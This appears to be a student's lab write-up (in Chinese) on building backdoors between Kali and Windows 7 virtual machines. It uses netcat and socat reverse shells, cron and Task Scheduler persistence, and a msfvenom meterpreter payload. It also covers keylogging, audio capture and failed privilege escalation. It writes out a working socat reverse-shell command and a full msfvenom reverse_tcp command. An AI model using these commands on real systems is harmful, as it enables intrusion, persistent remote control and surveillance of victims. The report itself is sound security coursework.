20165207 Exp2 后门原理与实践
〇、实验准备
两个虚拟机,一个kali一个win7。kali的ip是192.168.43.72,win7的ip是192.168.43.116,在win7关掉防火墙并且虚拟机设置都选择桥接的情况下,两台虚拟机能够相互ping通。
把老师分享给我们的ncat和socat拷到win7里面。
一、实验内容
1、使用netcat获取主机操作Shell,cron启动
1.1、kali使用netcat获取主机操作shell
kali在5207端口开启监听:
win7反弹连接kali:
kali获得win7的cmd(Windows命令了解的不多,想输个who命令,结果没有。我记得是whoami或者user的啊)
1.2、配置crontab
crontab -e编辑kali的定时任务的计时器,但是按照上面的来的话kali这边只是要监听,自动启动监听我个人感觉意义不大。所以,这次我想换kali被攻击。
先在win7上开启监听,在5207端口上
kali这边crontab -e编辑计时器,编辑器可以选,要是多按了回车默认选取了,可以输按select-editor更改
然后在里面,加上一个每1分钟执行一次的命令
win7获得了shell
2、使用socat获取主机操作Shell, 任务计划启动
我理解任务计划启动是指win7里面的计划任务设置用socat反弹连接kali使kali获得win7的shell
2.1、kali开启监听
socat在kali上就有,使用tcp-l参数在冒号后面加上5207开启监听
2.2、win7
我在win7上输入的命令是:socat.exe - tcp 192.168.43.72:5207产生的效果只是限于相互发送消息
要反弹连接原来需要用到exec参数,并且tcp参数要改成tcp-connect参数,否则会报这样的错
所以,经过搜索资料和尝试,我输入的最终可以反弹连接的有效命令是:socat.exe tcp-connect:192.168.43.72:5207 exec:cmd.exe,pty,stderr
如图,win7反弹连接成功,kali获得了cmd.exe
kali:
2.3、win7任务计划
在任务计划程序里新建任务:
然后设置启动条件:
等候一分钟:
win7这:
kali里:
3、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
3.1、生成可执行文件并传输
用msfvenom生成可执行文件,msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.72 PORT=5207 -f exe > 5207.exe
因为要用kali获取win7shell所以lhost设为kali的ip地址,p参数用于指定攻击载荷reverse_tcp然后f参数是用来指定生成文件格式的
nc传给win7:win7首先开启监听,监听在端口5207,接收文件重定向到文件win5207.exe
kali这边发送
传输结束之后接收端的nc并没有像网上说的一样自动退出
3.2、kali上的msf开启监听
开启msfconsole然后按照实验指导里面操作
win7里面运行win5207.exe:
好吧,不知道为什么出了问题了,我重新连了一下网,ip也变了,kali是10.1.1.217,win7是10.1.1.113
然后,用一样的原理重新做了一次(上一个网,失败了不知道多少次),问题就没了,因为有点生气这次可执行文件的名字是XXXX.exe。
kali这边,成功了,输了个命令dir查看文件,里面就有刚才一怒之下取的xxxx.exe:
4、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
4.1、获取音频摄像头等内容
获取音频摄像头等的操作在实验指导的meterpreter常用功能里面有,我就不粘贴过来了,直接进行操作。
当然输个help就可以看,也没有必要来回翻实验指导
找到了录制音频和截取屏幕
录制一段五秒钟的音频:
截屏,这里遇到一个问题,我的摄像头无法连接到win7虚拟机,错误在右下角的摄像头标签那一闪而过。
我想起来上次要给另一个虚拟机插一个usb3.0的U盘然后也是设备无法连接,当时没有解决直接用了共享文件夹。
在win7里也有可能是usb设备兼容性的问题,先把它的兼容性改成usb3.0
在状态栏里摄像头的图标的确是亮的:
可是虚拟机的设备管理器里面没有,重启虚拟机重新做,还是没有,根本没有,这哪有像摄像头的设备啊:
kali那边也是毫无悬念的失败了:
我实在是没弄明白这个摄像头的问题,这个摄像头看来和我无缘。
然后再试一下击键记录:
首先,kali这边keyscan_start开始记录
然后在win7那边输些东西
kali这边,还是start的状态,就可以输入keyscan_dump查看win7的击键记录
还可以看看对面是不是虚拟机,命令是run post/windows/gather/checkvm
4.2、提权
输入命令getsystem:
报错
找到了个解释,是这样的:
如果你需要对Windows7、8或以上的系统进行getsystem首先得绕过UAC。命令如下:runpost/windows/escalate/bypassuac.
尝试输进去这条命令
连命令都没有,真棒
查一下帮助手册,诶
没有bypass啊
再次失败
再试一下我搜到的令牌假冒提权的方法
先加载令牌假冒的模块“use incognito”
然后查看下令牌假冒的相关命令
用list_user查看我可以冒充的用户
看来,又失败了:
实际上我觉得如果有可用的可假冒的用户,这种假冒用户的办法我觉得应该可以提权成功的
以及,那个我搜来的bypass绕过win7对win7提权的办法为什么不行,可以有人帮我看下为啥一下不?我病好了之后请吃棒棒糖。orz
二、问题回答
1、例举你能想到的一个后门进入到你系统中的可能方式
我最先想到的是浏览器漏洞
前两天我看到一个Chrome浏览器的0day漏洞(就是今年三月份的),允许黑客加载恶意的PDF(应该就是后门了)来获取操作系统的数据
Chrome 被曝 0day 漏洞,可让黑客获取用户数据
2、例举你知道的后门如何启动起来(win及linux)的方式?
首先都可以通过计划任务的方式来启动,win里面直接通过任务计划程序来添加,Linux配置crontab。
另外,上学期信安技术课还讲了win里面可以修改注册表里面的关联,比如经过注册表txt文件默认会用notepad打开,但是修改了注册表就可以在点击txt时候运行后门程序。
3、Meterpreter有哪些给你映像深刻的功能?
除了记录键盘,调用摄像头和麦克风之外,做提权的时候因为getsystem不可以用我试了假冒用户的办法,这个假冒用户来提权的办法让我印象很深刻
4、如何发现自己有系统有没有被安装后门
netstat命令查看电脑连接了哪些服务,要是发现了没见过的网址或者不是知名端口号的端口,就要小心了。还可以通过任务管理器查看当前进程。
当然对于我这个菜鸡,最有效的应该还是打开防火墙装上杀软。
三、总结
这周生了两次急病,上次实验的验收没有赶上,这次的博客也交晚了。做实验的时候,提权的问题和虚拟机摄像头的问题还没有解决。当然还是有很大收获的。
原文地址:https://www.cnblogs.com/ltl0501/p/10586018.html